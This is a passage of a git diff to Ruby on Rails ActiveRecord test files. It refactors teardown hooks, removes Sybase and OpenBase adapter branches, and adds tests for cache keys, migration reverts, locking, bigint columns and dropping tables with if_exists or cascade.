+    assert_not_equal key, owner.reload.cache_key
   end
 
   def test_cache_key_format_for_existing_record_with_nil_updated_timestamps
@@ -86,4 +130,9 @@ class IntegrationTest < ActiveRecord::TestCase
     dev.touch
     assert_not_equal key, dev.cache_key
   end
+
+  def test_named_timestamps_for_cache_key
+    owner = owners(:blackbeard)
+    assert_equal "owners/#{owner.id}-#{owner.happy_at.utc.to_s(:nsec)}", owner.cache_key(:updated_at, :happy_at)
+  end
 end
diff --git a/activerecord/test/cases/invalid_connection_test.rb b/activerecord/test/cases/invalid_connection_test.rb
index f2d8f18ec7..8416c81f45 100644
--- a/activerecord/test/cases/invalid_connection_test.rb
+++ b/activerecord/test/cases/invalid_connection_test.rb
@@ -12,11 +12,11 @@ class TestAdapterWithInvalidConnection < ActiveRecord::TestCase
     Bird.establish_connection adapter: 'mysql', database: 'i_do_not_exist'
   end
 
-  def teardown
+  teardown do
     Bird.remove_connection
   end
 
   test "inspect on Model class does not raise" do
-    assert_equal "#{Bird.name}(no database connection)", Bird.inspect
+    assert_equal "#{Bird.name} (call '#{Bird.name}.connection' to establish a connection)", Bird.inspect
   end
 end
diff --git a/activerecord/test/cases/invertible_migration_test.rb b/activerecord/test/cases/invertible_migration_test.rb
index 428145d00b..8144f3e5c5 100644
--- a/activerecord/test/cases/invertible_migration_test.rb
+++ b/activerecord/test/cases/invertible_migration_test.rb
@@ -106,12 +106,33 @@ module ActiveRecord
       end
     end
 
-    def teardown
+    class RevertNamedIndexMigration1 < SilentMigration
+      def change
+        create_table("horses") do |t|
+          t.column :content, :string
+          t.column :remind_at, :datetime
+        end
+        add_index :horses, :content
+      end
+    end
+
+    class RevertNamedIndexMigration2 < SilentMigration
+      def change
+        add_index :horses, :content, name: "horses_index_named"
+      end
+    end
+
+    setup do
+      @verbose_was, ActiveRecord::Migration.verbose = ActiveRecord::Migration.verbose, false
+    end
+
+    teardown do
       %w[horses new_horses].each do |table|
         if ActiveRecord::Base.connection.table_exists?(table)
           ActiveRecord::Base.connection.drop_table(table)
         end
       end
+      ActiveRecord::Migration.verbose = @verbose_was
     end
 
     def test_no_reverse
@@ -255,5 +276,20 @@ module ActiveRecord
       ActiveRecord::Base.table_name_prefix = ActiveRecord::Base.table_name_suffix = ''
     end
 
+    # MySQL 5.7 and Oracle do not allow to create duplicate indexes on the same columns
+    unless current_adapter?(:MysqlAdapter, :Mysql2Adapter, :OracleAdapter)
+      def test_migrate_revert_add_index_with_name
+        RevertNamedIndexMigration1.new.migrate(:up)
+        RevertNamedIndexMigration2.new.migrate(:up)
+        RevertNamedIndexMigration2.new.migrate(:down)
+
+        connection = ActiveRecord::Base.connection
+        assert connection.index_exists?(:horses, :content),
+               "index on content should exist"
+        assert !connection.index_exists?(:horses, :content, name: "horses_index_named"),
+              "horses_index_named index should not exist"
+      end
+    end
+
   end
 end
diff --git a/activerecord/test/cases/locking_test.rb b/activerecord/test/cases/locking_test.rb
index dfa12cb97c..848174df06 100644
--- a/activerecord/test/cases/locking_test.rb
+++ b/activerecord/test/cases/locking_test.rb
@@ -5,6 +5,7 @@ require 'models/job'
 require 'models/reader'
 require 'models/ship'
 require 'models/legacy_thing'
+require 'models/personal_legacy_thing'
 require 'models/reference'
 require 'models/string_key_object'
 require 'models/car'
@@ -32,8 +33,6 @@ class OptimisticLockingTest < ActiveRecord::TestCase
     p1 = Person.find(1)
     assert_equal 0, p1.lock_version
 
-    Person.expects(:quote_value).with(0, Person.columns_hash[Person.locking_column]).returns('0').once
-
     p1.first_name = 'anika2'
     p1.save!
 
@@ -216,10 +215,12 @@ class OptimisticLockingTest < ActiveRecord::TestCase
   def test_lock_with_custom_column_without_default_sets_version_to_zero
     t1 = LockWithCustomColumnWithoutDefault.new
     assert_equal 0, t1.custom_lock_version
+    assert_nil t1.custom_lock_version_before_type_cast
 
-    t1.save
-    t1 = LockWithCustomColumnWithoutDefault.find(t1.id)
+    t1.save!
+    t1.reload
     assert_equal 0, t1.custom_lock_version
+    assert [0, "0"].include?(t1.custom_lock_version_before_type_cast)
   end
 
   def test_readonly_attributes
@@ -272,6 +273,13 @@ class OptimisticLockingTest < ActiveRecord::TestCase
     assert p.treasures.empty?
     assert RichPerson.connection.select_all("SELECT * FROM peoples_treasures WHERE rich_person_id = 1").empty?
   end
+
+  def test_yaml_dumping_with_lock_column
+    t1 = LockWithoutDefault.new
+    t2 = YAML.load(YAML.dump(t1))
+
+    assert_equal t1.attributes, t2.attributes
+  end
 end
 
 class OptimisticLockingWithSchemaChangeTest < ActiveRecord::TestCase
@@ -304,30 +312,24 @@ class OptimisticLockingWithSchemaChangeTest < ActiveRecord::TestCase
 
   # See Lighthouse ticket #1966
   def test_destroy_dependents
-    # Establish dependent relationship between People and LegacyThing
-    add_counter_column_to(Person, 'legacy_things_count')
-    LegacyThing.connection.add_column LegacyThing.table_name, 'person_id', :integer
-    LegacyThing.reset_column_information
-    LegacyThing.class_eval do
-      belongs_to :person, :counter_cache => true
-    end
-    Person.class_eval do
-      has_many :legacy_things, :dependent => :destroy
-    end
+    # Establish dependent relationship between Person and PersonalLegacyThing
+    add_counter_column_to(Person, 'personal_legacy_things_count')
+    PersonalLegacyThing.reset_column_information
 
     # Make sure that counter incrementing doesn't cause problems
     p1 = Person.new(:first_name => 'fjord')
     p1.save!
-    t = LegacyThing.new(:person => p1)
+    t = PersonalLegacyThing.new(:person => p1)
     t.save!
     p1.reload
-    assert_equal 1, p1.legacy_things_count
+    assert_equal 1, p1.personal_legacy_things_count
     assert p1.destroy
     assert_equal true, p1.frozen?
     assert_raises(ActiveRecord::RecordNotFound) { Person.find(p1.id) }
-    assert_raises(ActiveRecord::RecordNotFound) { LegacyThing.find(t.id) }
+    assert_raises(ActiveRecord::RecordNotFound) { PersonalLegacyThing.find(t.id) }
   ensure
-    remove_counter_column_from(Person, 'legacy_things_count')
+    remove_counter_column_from(Person, 'personal_legacy_things_count')
+    PersonalLegacyThing.reset_column_information
   end
 
   private
@@ -335,8 +337,6 @@ class OptimisticLockingWithSchemaChangeTest < ActiveRecord::TestCase
     def add_counter_column_to(model, col='test_count')
       model.connection.add_column model.table_name, col, :integer, :null => false, :default => 0
       model.reset_column_information
-      # OpenBase does not set a value to existing rows when adding a not null default column
-      model.update_all(col => 0) if current_adapter?(:OpenBaseAdapter)
     end
 
     def remove_counter_column_from(model, col = :test_count)
@@ -363,7 +363,7 @@ end
 # is so cumbersome. Will deadlock Ruby threads if the underlying db.execute
 # blocks, so separate script called by Kernel#system is needed.
 # (See exec vs. async_exec in the PostgreSQL adapter.)
-unless current_adapter?(:SybaseAdapter, :OpenBaseAdapter) || in_memory_db?
+unless in_memory_db?
   class PessimisticLockingTest < ActiveRecord::TestCase
     self.use_transactional_fixtures = false
     fixtures :people, :readers
@@ -427,6 +427,17 @@ unless current_adapter?(:SybaseAdapter, :OpenBaseAdapter) || in_memory_db?
       assert_equal old, person.reload.first_name
     end
 
+    if current_adapter?(:PostgreSQLAdapter)
+      def test_lock_sending_custom_lock_statement
+        Person.transaction do
+          person = Person.find(1)
+          assert_sql(/LIMIT 1 FOR SHARE NOWAIT/) do
+            person.lock!('FOR SHARE NOWAIT')
+          end
+        end
+      end
+    end
+
     if current_adapter?(:PostgreSQLAdapter, :OracleAdapter)
       def test_no_locks_no_wait
         first, second = duel { Person.find 1 }
diff --git a/activerecord/test/cases/log_subscriber_test.rb b/activerecord/test/cases/log_subscriber_test.rb
index 3bdc5a1302..4192d12ff4 100644
--- a/activerecord/test/cases/log_subscriber_test.rb
+++ b/activerecord/test/cases/log_subscriber_test.rb
@@ -63,14 +63,6 @@ class LogSubscriberTest < ActiveRecord::TestCase
     assert_match(/ruby   rails/, logger.debugs.first)
   end
 
-  def test_ignore_binds_payload_with_nil_column
-    event = Struct.new(:duration, :payload)
-
-    logger = TestDebugLogSubscriber.new
-    logger.sql(event.new(0, sql: 'hi mom!', binds: [[nil, 1]]))
-    assert_equal 1, logger.debugs.length
-  end
-
   def test_basic_query_logging
     Developer.all.load
     wait
@@ -119,11 +111,11 @@ class LogSubscriberTest < ActiveRecord::TestCase
     Thread.new { assert_equal 0, ActiveRecord::LogSubscriber.runtime }.join
   end
 
-  def test_binary_data_is_not_logged
-    skip if current_adapter?(:Mysql2Adapter)
-
-    Binary.create(data: 'some binary data')
-    wait
-    assert_match(/<16 bytes of binary data>/, @logger.logged(:debug).join)
+  unless current_adapter?(:Mysql2Adapter)
+    def test_binary_data_is_not_logged
+      Binary.create(data: 'some binary data')
+      wait
+      assert_match(/<16 bytes of binary data>/, @logger.logged(:debug).join)
+    end
   end
 end
diff --git a/activerecord/test/cases/migration/change_schema_test.rb b/activerecord/test/cases/migration/change_schema_test.rb
index e37dca856d..3cd4073a38 100644
--- a/activerecord/test/cases/migration/change_schema_test.rb
+++ b/activerecord/test/cases/migration/change_schema_test.rb
@@ -11,10 +11,10 @@ module ActiveRecord
         @table_name = :testings
       end
 
-      def teardown
-        super
+      teardown do
         connection.drop_table :testings rescue nil
         ActiveRecord::Base.primary_key_prefix_type = nil
+        ActiveRecord::Base.clear_cache!
       end
 
       def test_create_table_without_id
@@ -68,28 +68,24 @@ module ActiveRecord
         five = columns.detect { |c| c.name == "five" } unless mysql
 
         assert_equal "hello", one.default
-        assert_equal true, two.default
-        assert_equal false, three.default
-        assert_equal 1, four.default
+        assert_equal true, connection.lookup_cast_type_from_column(two).type_cast_from_database(two.default)
+        assert_equal false, connection.lookup_cast_type_from_column(three).type_cast_from_database(three.default)
+        assert_equal '1', four.default
         assert_equal "hello", five.default unless mysql
       end
 
-      def test_add_column_with_array
-        if current_adapter?(:PostgreSQLAdapter)
+      if current_adapter?(:PostgreSQLAdapter)
+        def test_add_column_with_array
           connection.create_table :testings
           connection.add_column :testings, :foo, :string, :array => true
 
           columns = connection.columns(:testings)
           array_column = columns.detect { |c| c.name == "foo" }
 
-          assert array_column.array
-        else
-          skip "array option only supported in PostgreSQLAdapter"
+          assert array_column.array?
         end
-      end
 
-      def test_create_table_with_array_column
-        if current_adapter?(:PostgreSQLAdapter)
+        def test_create_table_with_array_column
           connection.create_table :testings do |t|
             t.string :foo, :array => true
           end
@@ -97,10 +93,27 @@ module ActiveRecord
           columns = connection.columns(:testings)
           array_column = columns.detect { |c| c.name == "foo" }
 
-          assert array_column.array
+          assert array_column.array?
+        end
+      end
+
+      def test_create_table_with_bigint
+        connection.create_table :testings do |t|
+          t.bigint :eight_int
+        end
+        columns = connection.columns(:testings)
+        eight   = columns.detect { |c| c.name == "eight_int"   }
+
+        if current_adapter?(:OracleAdapter)
+          assert_equal 'NUMBER(8)', eight.sql_type
+        elsif current_adapter?(:SQLite3Adapter)
+          assert_equal 'bigint', eight.sql_type
         else
-          skip "array option only supported in PostgreSQLAdapter"
+          assert_equal :integer, eight.type
+          assert_equal 8, eight.limit
         end
+      ensure
+        connection.drop_table :testings
       end
 
       def test_create_table_with_limits
@@ -190,41 +203,39 @@ module ActiveRecord
         created_at_column = created_columns.detect {|c| c.name == 'created_at' }
         updated_at_column = created_columns.detect {|c| c.name == 'updated_at' }
 
-        assert created_at_column.null
-        assert updated_at_column.null
+        assert !created_at_column.null
+        assert !updated_at_column.null
       end
 
       def test_create_table_with_timestamps_should_create_datetime_columns_with_options
         connection.create_table table_name do |t|
-          t.timestamps :null => false
+          t.timestamps null: true
         end
         created_columns = connection.columns(table_name)
 
         created_at_column = created_columns.detect {|c| c.name == 'created_at' }
         updated_at_column = created_columns.detect {|c| c.name == 'updated_at' }
 
-        assert !created_at_column.null
-        assert !updated_at_column.null
+        assert created_at_column.null
+        assert updated_at_column.null
       end
 
       def test_create_table_without_a_block
         connection.create_table table_name
       end
 
-      def test_add_column_not_null_without_default
-        # Sybase, and SQLite3 will not allow you to add a NOT NULL
-        # column to a table without a default value.
-        if current_adapter?(:SybaseAdapter, :SQLite3Adapter)
-          skip "not supported on #{connection.class}"
-        end
-
-        connection.create_table :testings do |t|
-          t.column :foo, :string
-        end
-        connection.add_column :testings, :bar, :string, :null => false
+      # SQLite3 will not allow you to add a NOT NULL
+      # column to a table without a default value.
+      unless current_adapter?(:SQLite3Adapter)
+        def test_add_column_not_null_without_default
+          connection.create_table :testings do |t|
+            t.column :foo, :string
+          end
+          connection.add_column :testings, :bar, :string, :null => false
 
-        assert_raise(ActiveRecord::StatementInvalid) do
-          connection.execute "insert into testings (foo, bar) values ('hello', NULL)"
+          assert_raise(ActiveRecord::StatementInvalid) do
+            connection.execute "insert into testings (foo, bar) values ('hello', NULL)"
+          end
         end
       end
 
@@ -234,18 +245,28 @@ module ActiveRecord
         end
 
         con = connection
-        connection.enable_identity_insert("testings", true) if current_adapter?(:SybaseAdapter)
         connection.execute "insert into testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}) values (1, 'hello')"
-        connection.enable_identity_insert("testings", false) if current_adapter?(:SybaseAdapter)
         assert_nothing_raised {connection.add_column :testings, :bar, :string, :null => false, :default => "default" }
 
         assert_raises(ActiveRecord::StatementInvalid) do
-          unless current_adapter?(:OpenBaseAdapter)
-            connection.execute "insert into testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}, #{con.quote_column_name('bar')}) values (2, 'hello', NULL)"
-          else
-            connection.insert("INSERT INTO testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}, #{con.quote_column_name('bar')}) VALUES (2, 'hello', NULL)",
-                                     "Testing Insert","id",2)
-          end
+          connection.execute "insert into testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}, #{con.quote_column_name('bar')}) values (2, 'hello', NULL)"
+        end
+      end
+
+      def test_add_column_with_timestamp_type
+        connection.create_table :testings do |t|
+          t.column :foo, :timestamp
+        end
+
+        klass = Class.new(ActiveRecord::Base)
+        klass.table_name = 'testings'
+
+        assert_equal :datetime, klass.columns_hash['foo'].type
+
+        if current_adapter?(:PostgreSQLAdapter)
+          assert_equal 'timestamp without time zone', klass.columns_hash['foo'].sql_type
+        else
+          assert_equal klass.connection.type_to_sql('datetime'), klass.columns_hash['foo'].sql_type
         end
       end
 
@@ -273,7 +294,7 @@ module ActiveRecord
 
         person_klass.connection.add_column "testings", "wealth", :integer, :null => false, :default => 99
         person_klass.reset_column_information
-        assert_equal 99, person_klass.columns_hash["wealth"].default
+        assert_equal 99, person_klass.column_defaults["wealth"]
         assert_equal false, person_klass.columns_hash["wealth"].null
         # Oracle needs primary key value from sequence
         if current_adapter?(:OracleAdapter)
@@ -285,20 +306,20 @@ module ActiveRecord
         # change column default to see that column doesn't lose its not null definition
         person_klass.connection.change_column_default "testings", "wealth", 100
         person_klass.reset_column_information
-        assert_equal 100, person_klass.columns_hash["wealth"].default
+        assert_equal 100, person_klass.column_defaults["wealth"]
         assert_equal false, person_klass.columns_hash["wealth"].null
 
         # rename column to see that column doesn't lose its not null and/or default definition
         person_klass.connection.rename_column "testings", "wealth", "money"
         person_klass.reset_column_information
         assert_nil person_klass.columns_hash["wealth"]
-        assert_equal 100, person_klass.columns_hash["money"].default
+        assert_equal 100, person_klass.column_defaults["money"]
         assert_equal false, person_klass.columns_hash["money"].null
 
         # change column
         person_klass.connection.change_column "testings", "money", :integer, :null => false, :default => 1000
         person_klass.reset_column_information
-        assert_equal 1000, person_klass.columns_hash["money"].default
+        assert_equal 1000, person_klass.column_defaults["money"]
         assert_equal false, person_klass.columns_hash["money"].null
 
         # change column, make it nullable and clear default
@@ -316,6 +337,22 @@ module ActiveRecord
         assert_equal 2000, connection.select_values("SELECT money FROM testings").first.to_i
       end
 
+      def test_change_column_null
+        testing_table_with_only_foo_attribute do
+          notnull_migration = Class.new(ActiveRecord::Migration) do
+            def change
+              change_column_null :testings, :foo, false
+            end
+          end
+          notnull_migration.new.suppress_messages do
+            notnull_migration.migrate(:up)
+            assert_equal false, connection.columns(:testings).find{ |c| c.name == "foo"}.null
+            notnull_migration.migrate(:down)
+            assert connection.columns(:testings).find{ |c| c.name == "foo"}.null
+          end
+        end
+      end
+
       def test_column_exists
         connection.create_table :testings do |t|
           t.column :foo, :string
@@ -366,6 +403,17 @@ module ActiveRecord
         end
       end
 
+      def test_drop_table_if_exists
+        connection.create_table(:testings)
+        assert connection.table_exists?(:testings)
+        connection.drop_table(:testings, if_exists: true)
+        assert_not connection.table_exists?(:testings)
+      end
+
+      def test_drop_table_if_exists_nothing_raised
+        assert_nothing_raised { connection.drop_table(:nonexistent, if_exists: true) }
+      end
+
       private
       def testing_table_with_only_foo_attribute
         connection.create_table :testings, :id => false do |t|
@@ -375,5 +423,36 @@ module ActiveRecord
         yield
       end
     end
+
+    if ActiveRecord::Base.connection.supports_foreign_keys?
+      class ChangeSchemaWithDependentObjectsTest < ActiveRecord::TestCase
+        self.use_transactional_fixtures = false
+
+        setup do
+          @connection = ActiveRecord::Base.connection
+          @connection.create_table :trains
+          @connection.create_table(:wagons) { |t| t.references :train }
+          @connection.add_foreign_key :wagons, :trains
+        end
+
+        teardown do
+          [:wagons, :trains].each do |table|
+            @connection.drop_table table, if_exists: true
+          end
+        end
+
+        def test_create_table_with_force_cascade_drops_dependent_objects
+          skip "MySQL > 5.5 does not drop dependent objects with DROP TABLE CASCADE" if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+          # can't re-create table referenced by foreign key
+          assert_raises(ActiveRecord::StatementInvalid) do
+            @connection.create_table :trains, force: true
+          end
+
+          # can recreate referenced table with force: :cascade
+          @connection.create_table :trains, force: :cascade
+          assert_equal [], @connection.foreign_keys(:wagons)
+        end
+      end
+    end
   end
 end
diff --git a/activerecord/test/cases/migration/change_table_test.rb b/activerecord/test/cases/migration/change_table_test.rb
index 8065541bfe..7010af5434 100644
--- a/activerecord/test/cases/migration/change_table_test.rb
+++ b/activerecord/test/cases/migration/change_table_test.rb
@@ -5,10 +5,10 @@ module ActiveRecord
   class Migration
     class TableTest < ActiveRecord::TestCase
       def setup
-        @connection = MiniTest::Mock.new
+        @connection = Minitest::Mock.new
       end
 
-      def teardown
+      teardown do
         assert @connection.verify
       end
 
@@ -72,17 +72,31 @@ module ActiveRecord
         end
       end
 
+      def test_references_column_type_with_polymorphic_and_type
+        with_change_table do |t|
+          @connection.expect :add_reference, nil, [:delete_me, :taggable, polymorphic: true, type: :string]
+          t.references :taggable, polymorphic: true, type: :string
+        end
+      end
+
+      def test_remove_references_column_type_with_polymorphic_and_type
+        with_change_table do |t|
+          @connection.expect :remove_reference, nil, [:delete_me, :taggable, polymorphic: true, type: :string]
+          t.remove_references :taggable, polymorphic: true, type: :string
+        end
+      end
+
       def test_timestamps_creates_updated_at_and_created_at
         with_change_table do |t|
-          @connection.expect :add_timestamps, nil, [:delete_me]
-          t.timestamps
+          @connection.expect :add_timestamps, nil, [:delete_me, null: true]
+          t.timestamps null: true
         end
       end
 
       def test_remove_timestamps_creates_updated_at_and_created_at
         with_change_table do |t|
-          @connection.expect :remove_timestamps, nil, [:delete_me]
-          t.remove_timestamps
+          @connection.expect :remove_timestamps, nil, [:delete_me, { null: true }]
+          t.remove_timestamps({ null: true })
         end
       end
 
@@ -199,6 +213,12 @@ module ActiveRecord
           t.rename :bar, :baz
         end
       end
+
+      def test_table_name_set
+        with_change_table do |t|
+          assert_equal :delete_me, t.name
+        end
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/migration/column_attributes_test.rb b/activerecord/test/cases/migration/column_attributes_test.rb
index aa606ac8bb..763aa88f72 100644
--- a/activerecord/test/cases/migration/column_attributes_test.rb
+++ b/activerecord/test/cases/migration/column_attributes_test.rb
@@ -35,54 +35,62 @@ module ActiveRecord
         assert_no_column TestModel, :last_name
       end
 
-      def test_unabstracted_database_dependent_types
-        skip "not supported" unless current_adapter?(:MysqlAdapter, :Mysql2Adapter)
-
-        add_column :test_models, :intelligence_quotient, :tinyint
+      def test_add_column_without_limit
+        # TODO: limit: nil should work with all adapters.
+        skip "MySQL wrongly enforces a limit of 255" if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+        add_column :test_models, :description, :string, limit: nil
         TestModel.reset_column_information
-        assert_match(/tinyint/, TestModel.columns_hash['intelligence_quotient'].sql_type)
+        assert_nil TestModel.columns_hash["description"].limit
       end
 
-      # We specifically do a manual INSERT here, and then test only the SELECT
-      # functionality. This allows us to more easily catch INSERT being broken,
-      # but SELECT actually working fine.
-      def test_native_decimal_insert_manual_vs_automatic
-        correct_value = '0012345678901234567890.0123456789'.to_d
-
-        connection.add_column "test_models", "wealth", :decimal, :precision => '30', :scale => '10'
-
-        # Do a manual insertion
-        if current_adapter?(:OracleAdapter)
-          connection.execute "insert into test_models (id, wealth) values (people_seq.nextval, 12345678901234567890.0123456789)"
-        elsif current_adapter?(:OpenBaseAdapter) || (current_adapter?(:MysqlAdapter) && Mysql.client_version < 50003) #before mysql 5.0.3 decimals stored as strings
-          connection.execute "insert into test_models (wealth) values ('12345678901234567890.0123456789')"
-        elsif current_adapter?(:PostgreSQLAdapter)
-          connection.execute "insert into test_models (wealth) values (12345678901234567890.0123456789)"
-        else
-          connection.execute "insert into test_models (wealth) values (12345678901234567890.0123456789)"
-        end
-
-        # SELECT
-        row = TestModel.first
-        assert_kind_of BigDecimal, row.wealth
-
-        # If this assert fails, that means the SELECT is broken!
-        unless current_adapter?(:SQLite3Adapter)
-          assert_equal correct_value, row.wealth
+      if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+        def test_unabstracted_database_dependent_types
+          add_column :test_models, :intelligence_quotient, :tinyint
+          TestModel.reset_column_information
+          assert_match(/tinyint/, TestModel.columns_hash['intelligence_quotient'].sql_type)
         end
+      end
 
-        # Reset to old state
-        TestModel.delete_all
-
-        # Now use the Rails insertion
-        TestModel.create :wealth => BigDecimal.new("12345678901234567890.0123456789")
-
-        # SELECT
-        row = TestModel.first
-        assert_kind_of BigDecimal, row.wealth
-
-        # If these asserts fail, that means the INSERT (create function, or cast to SQL) is broken!
-        unless current_adapter?(:SQLite3Adapter)
+      unless current_adapter?(:SQLite3Adapter)
+        # We specifically do a manual INSERT here, and then test only the SELECT
+        # functionality. This allows us to more easily catch INSERT being broken,
+        # but SELECT actually working fine.
+        def test_native_decimal_insert_manual_vs_automatic
+          correct_value = '0012345678901234567890.0123456789'.to_d
+
+          connection.add_column "test_models", "wealth", :decimal, :precision => '30', :scale => '10'
+
+          # Do a manual insertion
+          if current_adapter?(:OracleAdapter)
+            connection.execute "insert into test_models (id, wealth) values (people_seq.nextval, 12345678901234567890.0123456789)"
+          elsif current_adapter?(:MysqlAdapter) && Mysql.client_version < 50003 #before MySQL 5.0.3 decimals stored as strings
+            connection.execute "insert into test_models (wealth) values ('12345678901234567890.0123456789')"
+          elsif current_adapter?(:PostgreSQLAdapter)
+            connection.execute "insert into test_models (wealth) values (12345678901234567890.0123456789)"
+          else
+            connection.execute "insert into test_models (wealth) values (12345678901234567890.0123456789)"
+          end
+
+          # SELECT
+          row = TestModel.first
+          assert_kind_of BigDecimal, row.wealth
+
+          # If this assert fails, that means the SELECT is broken!
+          unless current_adapter?(:SQLite3Adapter)
+            assert_equal correct_value, row.wealth
+          end
+
+          # Reset to old state
+          TestModel.delete_all
+
+          # Now use the Rails insertion
+          TestModel.create :wealth => BigDecimal.new("12345678901234567890.0123456789")
+
+          # SELECT
+          row = TestModel.first
+          assert_kind_of BigDecimal, row.wealth
+
+          # If these asserts fail, that means the INSERT (create function, or cast to SQL) is broken!
           assert_equal correct_value, row.wealth
         end
       end
@@ -95,81 +103,81 @@ module ActiveRecord
         assert_equal 7, wealth_column.scale
       end
 
-      def test_change_column_preserve_other_column_precision_and_scale
-        skip "only on sqlite3" unless current_adapter?(:SQLite3Adapter)
+      if current_adapter?(:SQLite3Adapter)
+        def test_change_column_preserve_other_column_precision_and_scale
+          connection.add_column 'test_models', 'last_name', :string
+          connection.add_column 'test_models', 'wealth', :decimal, :precision => 9, :scale => 7
 
-        connection.add_column 'test_models', 'last_name', :string
-        connection.add_column 'test_models', 'wealth', :decimal, :precision => 9, :scale => 7
-
-        wealth_column = TestModel.columns_hash['wealth']
-        assert_equal 9, wealth_column.precision
-        assert_equal 7, wealth_column.scale
+          wealth_column = TestModel.columns_hash['wealth']
+          assert_equal 9, wealth_column.precision
+          assert_equal 7, wealth_column.scale
 
-        connection.change_column 'test_models', 'last_name', :string, :null => false
-        TestModel.reset_column_information
+          connection.change_column 'test_models', 'last_name', :string, :null => false
+          TestModel.reset_column_information
 
-        wealth_column = TestModel.columns_hash['wealth']
-        assert_equal 9, wealth_column.precision
-        assert_equal 7, wealth_column.scale
+          wealth_column = TestModel.columns_hash['wealth']
+          assert_equal 9, wealth_column.precision
+          assert_equal 7, wealth_column.scale
+        end
       end
 
-      def test_native_types
-        add_column "test_models", "first_name", :string
-        add_column "test_models", "last_name", :string
-        add_column "test_models", "bio", :text
-        add_column "test_models", "age", :integer
-        add_column "test_models", "height", :float
-        add_column "test_models", "wealth", :decimal, :precision => '30', :scale => '10'
-        add_column "test_models", "birthday", :datetime
-        add_column "test_models", "favorite_day", :date
-        add_column "test_models", "moment_of_truth", :datetime
-        add_column "test_models", "male", :boolean
-
-        TestModel.create :first_name => 'bob', :last_name => 'bobsen',
-          :bio => "I was born ....", :age => 18, :height => 1.78,
-          :wealth => BigDecimal.new("12345678901234567890.0123456789"),
-          :birthday => 18.years.ago, :favorite_day => 10.days.ago,
-          :moment_of_truth => "1782-10-10 21:40:18", :male => true
-
-        bob = TestModel.first
-        assert_equal 'bob', bob.first_name
-        assert_equal 'bobsen', bob.last_name
-        assert_equal "I was born ....", bob.bio
-        assert_equal 18, bob.age
-
-        # Test for 30 significant digits (beyond the 16 of float), 10 of them
-        # after the decimal place.
-
-        unless current_adapter?(:SQLite3Adapter)
+      unless current_adapter?(:SQLite3Adapter)
+        def test_native_types
+          add_column "test_models", "first_name", :string
+          add_column "test_models", "last_name", :string
+          add_column "test_models", "bio", :text
+          add_column "test_models", "age", :integer
+          add_column "test_models", "height", :float
+          add_column "test_models", "wealth", :decimal, :precision => '30', :scale => '10'
+          add_column "test_models", "birthday", :datetime
+          add_column "test_models", "favorite_day", :date
+          add_column "test_models", "moment_of_truth", :datetime
+          add_column "test_models", "male", :boolean
+
+          TestModel.create :first_name => 'bob', :last_name => 'bobsen',
+            :bio => "I was born ....", :age => 18, :height => 1.78,
+            :wealth => BigDecimal.new("12345678901234567890.0123456789"),
+            :birthday => 18.years.ago, :favorite_day => 10.days.ago,
+            :moment_of_truth => "1782-10-10 21:40:18", :male => true
+
+          bob = TestModel.first
+          assert_equal 'bob', bob.first_name
+          assert_equal 'bobsen', bob.last_name
+          assert_equal "I was born ....", bob.bio
+          assert_equal 18, bob.age
+
+          # Test for 30 significant digits (beyond the 16 of float), 10 of them
+          # after the decimal place.
+
           assert_equal BigDecimal.new("0012345678901234567890.0123456789"), bob.wealth
-        end
 
-        assert_equal true, bob.male?
+          assert_equal true, bob.male?
 
-        assert_equal String, bob.first_name.class
-        assert_equal String, bob.last_name.class
-        assert_equal String, bob.bio.class
-        assert_equal Fixnum, bob.age.class
-        assert_equal Time, bob.birthday.class
+          assert_equal String, bob.first_name.class
+          assert_equal String, bob.last_name.class
+          assert_equal String, bob.bio.class
+          assert_equal Fixnum, bob.age.class
+          assert_equal Time, bob.birthday.class
 
-        if current_adapter?(:OracleAdapter, :SybaseAdapter)
-          # Sybase, and Oracle don't differentiate between date/time
-          assert_equal Time, bob.favorite_day.class
-        else
-          assert_equal Date, bob.favorite_day.class
-        end
+          if current_adapter?(:OracleAdapter)
+            # Oracle doesn't differentiate between date/time
+            assert_equal Time, bob.favorite_day.class
+          else
+            assert_equal Date, bob.favorite_day.class
+          end
 
-        assert_instance_of TrueClass, bob.male?
-        assert_kind_of BigDecimal, bob.wealth
+          assert_instance_of TrueClass, bob.male?
+          assert_kind_of BigDecimal, bob.wealth
+        end
       end
 
-      def test_out_of_range_limit_should_raise
-        skip("MySQL and PostgreSQL only") unless current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
-
-        assert_raise(ActiveRecordError) { add_column :test_models, :integer_too_big, :integer, :limit => 10 }
+      if current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
+        def test_out_of_range_limit_should_raise
+          assert_raise(ActiveRecordError) { add_column :test_models, :integer_too_big, :integer, :limit => 10 }
 
-        unless current_adapter?(:PostgreSQLAdapter)
-          assert_raise(ActiveRecordError) { add_column :test_models, :text_too_big, :integer, :limit => 0xfffffffff }
+          unless current_adapter?(:PostgreSQLAdapter)
+            assert_raise(ActiveRecordError) { add_column :test_models, :text_too_big, :integer, :limit => 0xfffffffff }
+          end
         end
       end
     end
diff --git a/activerecord/test/cases/migration/column_positioning_test.rb b/activerecord/test/cases/migration/column_positioning_test.rb
index 913d935f7c..4637970ce0 100644
--- a/activerecord/test/cases/migration/column_positioning_test.rb
+++ b/activerecord/test/cases/migration/column_positioning_test.rb
@@ -3,16 +3,12 @@ require 'cases/helper'
 module ActiveRecord
   class Migration
     class ColumnPositioningTest < ActiveRecord::TestCase
-      attr_reader :connection, :table_name
+      attr_reader :connection
       alias :conn :connection
 
       def setup
         super
 
-        unless current_adapter?(:MysqlAdapter, :Mysql2Adapter)
-          skip "not supported on #{connection.class}"
-        end
-
         @connection = ActiveRecord::Base.connection
 
         connection.create_table :testings, :id => false do |t|
@@ -22,39 +18,39 @@ module ActiveRecord
         end
       end
 
-      def teardown
-        super
+      teardown do
         connection.drop_table :testings rescue nil
         ActiveRecord::Base.primary_key_prefix_type = nil
       end
 
-      def test_column_positioning
-        assert_equal %w(first second third), conn.columns(:testings).map {|c| c.name }
-      end
+      if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+        def test_column_positioning
